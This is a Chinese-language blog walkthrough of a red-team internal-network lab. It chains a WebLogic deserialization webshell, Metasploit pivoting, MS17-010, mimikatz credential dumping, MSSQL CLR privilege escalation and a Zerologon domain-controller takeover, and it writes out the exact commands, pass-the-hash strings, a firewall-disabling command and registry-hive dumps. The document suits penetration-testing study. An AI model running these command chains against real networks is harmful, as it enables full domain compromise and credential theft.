背景:摸魚時刻,偶然刷到滲透攻擊紅隊公眾號開了一個內網滲透靶場,正在學習內網滲透的我摩拳擦掌。下面是我在測試過程的一些記錄,大佬勿噴~~
全程使用msf,沒有使用cs。感覺新手先把msf用明白之后,再用圖形化的cs,會對個人理解整個內網滲透過程會理解地更清晰。
環境配置
靶場下載
靶場下載地址:
https://pan.baidu.com/s/1DOaDrsDsB2aW0sHSO_-fZQ
提取碼: vbi2

相關密碼
解壓密碼:saulGoodman.cn@redteam.red
域控:Windows Server 2008 + IIS + Exchange 2013 郵件服務
目錄還原密碼:redteam!@#45
主機名:owa
域管理員:administrator:Admin12345
域內服務器 Mssql:Windows Server 2008 + SQL Server 2008 (被配置了非約束委派)
主機名:sqlserver-2008
本地管理員:Administrator:Admin12345
域賬戶:redteam\sqlserver:Server12345 (被配置了約束委派)
Mssql:sa:sa
域內個人 PC:Windows 7
主機名:work-7
本地管理員:john:admin!@#45
域賬戶:redteam\saul:admin!@#45
單機服務器:Windows server r2 + weblogic
主機名:weblogic
本地管理員:Administrator:Admin12345
其他域用戶:
域服務賬戶:redteam\sqlserver:Server12345 (被配置了約束委派)
郵件用戶:redteam\mail:admin!@#45
加域賬戶:redteam\adduser:Add12345
redteam\saulgoodman:Saul12345 (被配置了非約束委派)
redteam\gu:Gu12345
redteam\apt404:Apt12345
環境配置
- 單機服務器:Windows server r2 + weblogic
在C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain
, 雙擊startWebLogic.cmd啟動weblogic,不然掃描不到7001端口。

滲透過程
DMZ區
首先拿到了目標的 IP:192.168.52.132,對該 IP 使用 Nmap 進行端口掃描:
nmap 192.168.52.132 -Pn -T3 -sV --open -v
發現開放了3個端口,其中有一個是7001

重點關注的端口,打開看一下:http://192.168.52.132:7001/
熟悉的界面
此時,掏出掃描器,開啟亂殺

挑個容易操作的CVE-2019-2725(XMLDecoder反序列化漏洞),payload打上

上傳webshell:
http://192.168.52.132:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=ipconfig

發現目標出網

辦公區
一般拿下一台DMZ區域的機器后,除了權限維持和權限提升,對於橫向滲透紅隊會主要分兩路進行下一步動作:一方面是判斷機器是否為多網卡機器,然后掃描其他網段,以圖發現更多存在漏洞的機器;另一方面,安排人手盡量收集機器上面的敏感信息,比如敏感內部文件、賬號密碼本等,幫助一隊快速突破。
由於已經是administrator,不需要提權,下一步
通過查看DMZ機器上面的進程信息,發現無AV(實際極少碰到),於是上線到msf,方便操作
為了便於操作,我個人使用的是web_delivery,運行powershell腳本,實際測試可以有多種方法
run一下
再利用weblogic漏洞的payload或已上傳的webshell執行一下,上圖箭頭的powershell命令,即可上線
發現當前機器是有兩張網卡,其中 10 是內網網卡,於是添加路由掃描10.10.20.0/24網段。
sessions 1
run get_local_subnets
run autoroute -s 192.168.52.0 -n 255.255.255.0
run autoroute -p

掃描
use auxiliary/scanner/smb/smb_version
set rhosts 10.10.20.1-10.10.20.244
run
當然,為了便於實驗,可以直接設置set rhosts 10.10.20.7
發現該網段存在一台win7
掃描一下ms17-010
search 17-010
use 3
set rhost 10.10.20.7
run
存在漏洞
直接打一下
search 17-010
use 1
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.20.7
run
失敗了
此處有一個小插曲,前面使用的是WSL的kali,后面使用虛擬機的kali就成功了,可能是因為網絡問題(不清楚,有師傅可以指點下)

此時,辦公區的PC win7已經拿下
通過調用 mimikatz 抓取其域用戶的密碼
用戶名:REDTEAM\saul
密碼:admin!@#45

數據庫區
在辦公區win7機器上發現另一個網段10.10.10.0/24
添加路由
sessions 2
run get_local_subnets
run autoroute -s 192.168.52.0 -n 255.255.255.0
run autoroute -p

繼續掃描新網段
發現兩台新機器:10.10.10.8和10.10.10.18
其中,發現10.10.10.18的機器名是SQLSERVER-2008,應該是數據庫區的機器
上傳fscan掃描一下端口

果然開啟1433端口,fscan隨便還把其弱口令掃出來了,利器!
msf開啟代理隧道,掏出SharpSQLTools工具
發現是低權限賬號
嘗試clr提權
參考文章:
https://cloud.tencent.com/developer/article/1736431
命令如下:
SharpSQLTools.exe 10.10.10.18 sa sa master install_clr
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami
成功提權到system權限

由於10.10.10.18狀態機器不出網,於是使用exploit/windows/mssql/mssql_clr_payload模塊,先將低權限賬號上線到msf,方便使用隧道將木馬上傳上去

成功
上傳木馬
再使用SharpSQLTools工具運行一下,便得到system權限的會話

查看網段信息,沒有新的網段了
獲取憑證

發現另一個用戶:
用戶名:sqlserver
密碼:Server12345
域控
下一步嘗試打域控,那么先要定位域控
常見的定位域控的方法有:
定位域控的常見方法
定位域控方法一:常規知識
掃描內網中同時開放389和53端口的機器
端口:389 服務:LDAP、ILS 說明:輕型目錄訪問協議和NetMeeting Internet Locator Server共用這一端口。
端口:53 服務:Domain Name Server(DNS) 說明:53端口為DNS(Domain Name Server,域名服務器)
之前掃描10.10.10.0/24段的時候還發現10.10.10.8這台機器,掃描一下端口
正好開啟了這兩個端口
定位域控方法二:查看域控制器組
net group"domain controllers" /domain
定位域控方法三:查看域控的機器名
nslookup test.com
nslookup -type=SRV _ldap._tcp
定位域控方法四:查看域控當前時間
net time /domain
一般時間服務器為主域控制器
(我是小小的分割線)
以上種種方法都表明,10.10.10.8這台機器是域控無疑,所以全力進攻
CVE-2020-1472
這漏洞在2020年的影響還是蠻大的,在內網滲透進攻域控,一般都會嘗試一下
掏出套件,先來PoC看下漏洞是否存在
PoC
用法:secretsdump.py 域名/域控機器名@域控IP -just-dc -no-pass
ohhhhh,完蛋...完..美
導出域控hash
用法:secretsdump.py 域名/域控機器名$@域控IP -just-dc -no-pass
此時嘗試導出肯定是是失敗的
打一下Exp
用法:python CVE-2020-1472.py 域控nbios名 域控主機名$ 域控IP
python3 cve-2020-1472-exploit.py OWA 10.10.10.8
此時密碼已置空
再抓一下hash
的確是空密碼
獲取域控權限
用法:wmiexec.py -hashes LMHASH:NTHASH 域名/用戶名@域控IP
Wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7 redteam.red/Administrator@10.10.10.8
成功獲取域控權限
讀取一下flag。其實到這里就已經可以交作業啦!
突破策略,上線msf
得到hash之后,使用MSF PSEXEC模塊上線
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec
set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.8
run/exploit
失敗了,估計是防火牆問題

利用impacket獲取的會話,關閉防火牆
netsh advfirewall set allprofiles state off
成功上線

恢復域控密碼
實際測試還是恢復域控密碼,不然會導致機器脫域
導出sam等文件到本地,命令如下:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

下載完成之后進行刪除
del /f system.save
del /f sam.save
del /f security.save
查看域控hash
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

proxychains python3 reinstall_original_pw.py DC 10.10.10.8 8623dc75ede3ca9ec11f2475b12ef96d

漫長的等待

最終獲取的成果如下:
flag如下:
(好人卡??)
機器如下:
總結
本靶場總體難度兩顆星,不算難。關鍵在於測試過程中要有清晰的思路,明白在每一步該收集哪些信息、重點關注哪些漏洞以及對應工具的使用。干說不練假把戲,滲透思路都是在日常滲透逐漸積累起來的,大家可以多多動手!
其實該靶場里面作者還設置有其他很多的漏洞,都是內網常見的漏洞,可以繼續把玩,把設置的考點全都找出來,拓展自己在滲透過程中的視野,才能在實際測試中“大開腦洞”。